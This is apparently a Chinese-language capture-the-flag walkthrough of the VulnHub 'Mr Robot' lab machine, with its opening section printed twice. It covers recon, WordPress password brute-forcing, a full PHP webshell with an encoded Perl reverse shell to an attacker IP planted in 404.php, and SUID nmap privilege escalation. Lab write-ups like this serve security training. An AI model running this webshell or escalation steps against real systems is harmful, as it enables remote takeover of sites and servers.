继续vulnhub靶机系列,今天我们来打一个新的靶机,难度也不太大。
0x00靶机导入
靶机下载地址http://www.vulnhub.com/entry/mr-robot-1,151/,通过靶机的描述可以看到有三个flag,
下载之后直接导入即可,网络适配器改为NAT模式,下面正式开启今天的打靶。
0x01信息收集
首先用nmap -sP扫描一下,来确定靶机的ip:
接着用nmap -A命令扫描下我们靶机的详细信息:
发现22,80,443等三个端口,80和443端口我们直接在浏览器输入ip看看,
也没什么有价值的东西,我们用dirb工具扫描一下看看:
发现两个比较好的东西,一个是login和robots.txt,我们先试下192.168.133.139/login
很明显这是wordpress博客,我们知道了这是wordpress博客,就方便攻击了,我们登进去修改404.php界面内容就行了。 但是现在我们要获取账户密码登进去.
0x01密码爆破
我们现在想办法获取账号密码,我们试试192.168.133.139/robots.txt,看看有什么内容:
得到两个文件,我们先访问下key-1-of-3.txt,我们就拿到了第一个flag,我们访问下另一个文件:
是一个文件我们保存下看看是什么
应该就是账号密码,下面就用burpsuite爆破一下,大家应该会吧,不会的同学评论区留言或者私信我 ,我再出一个教程呀,我们爆出来的账号是elliot,密码是
继续vulnhub靶机系列,今天我们来打一个新的靶机,难度也不太大。
0x00靶机导入
靶机下载地址http://www.vulnhub.com/entry/mr-robot-1,151/,通过靶机的描述可以看到有三个flag,
下载之后直接导入即可,网络适配器改为NAT模式,下面正式开启今天的打靶。
0x01信息收集
首先用nmap -sP扫描一下,来确定靶机的ip:
接着用nmap -A命令扫描下我们靶机的详细信息:
发现22,80,443等三个端口,80和443端口我们直接在浏览器输入ip看看,
也没什么有价值的东西,我们用dirb工具扫描一下看看:
发现两个比较好的东西,一个是login和robots.txt,我们先试下192.168.133.139/login
很明显这是wordpress博客,我们知道了这是wordpress博客,就方便攻击了,我们登进去修改404.php界面内容就行了。 但是现在我们要获取账户密码登进去.
0x01密码爆破
我们现在想办法获取账号密码,我们试试192.168.133.139/robots.txt,看看有什么内容:
得到两个文件,我们先访问下key-1-of-3.txt,我们就拿到了第一个flag,我们访问下另一个文件:
是一个文件我们保存下看看是什么
应该就是账号密码,下面就用burpsuite爆破一下,大家应该会吧,不会的同学评论区留言或者私信我 ,我再出一个教程呀,我们爆出来的账号是elliot,密码是ER28-0652
我们登陆试试:
0x02开始攻击
成功登进去 ,然后去Appearance的editor模块中的404.php
然后把下面的内容复制进去,点击下面的update file
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.133.130";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
不过这里的ip地址是你linux的地址,也就是ifconfig的那个
然后点击下面的update file
上面出现这个说明成功
然后我们再开一个新的Terminal进行监听,监听的命令:
nc -lvvp 4444
然后访问下(前提是开启监听)
http://你的靶机的ip/wordpress/wp-content/themes/twentyfifteen/404.php
我们再返回刚刚开启监听的Terminal,发现监听成功:
我们输入交互式命令:
python -c 'import pty;pty.spawn("/bin/bash")'
看看 我们的权限
可以看到权限很低,我们cd /home看看有哪些用户
只有一个robot,我们进到robot里面
发现有两个文件,第一个应该是我们要找的第二个flag,我们打开看看
结果权限不够,因该是要切换到robot用户才可以,但robot应该需要密码,后面一个文件可以看出是经过md5加密的密码,我们打开它,然后去解密
拿到密码,我们切换到robot用户:
成功拿下,我们访问第二个flag
拿到第二个flag,我们还差一个flag,我们观察第一个和第二个flag名,可以猜出第三个flag文件名为key-3-of-3.txt,我们用find命令找一下看看
find / -name 'key-3-of-3.txt'
应该需要root权限,我们只能提权了,这里用的是suid提权
0x03权限提升
我们先输入命令:
find / -user root -perm -4000 -print 2>/dev/null
然后看文件列表是否又一下文件Nmap,Vim,find,Bash,More,Less,Nano,cp等,有的话既可以用suid进行提权
可以看到存在nmap文件,所以是可以用的, 我们输入命令
nmap --interactive
最后输入以下命令即可
!sh
我们看看我们此时的权限
已经是root权限了
我们再寻找一下第三个flag
知道了位置直接读取
成功拿到第三个flag
以上便是这次的实验,感谢大家观看!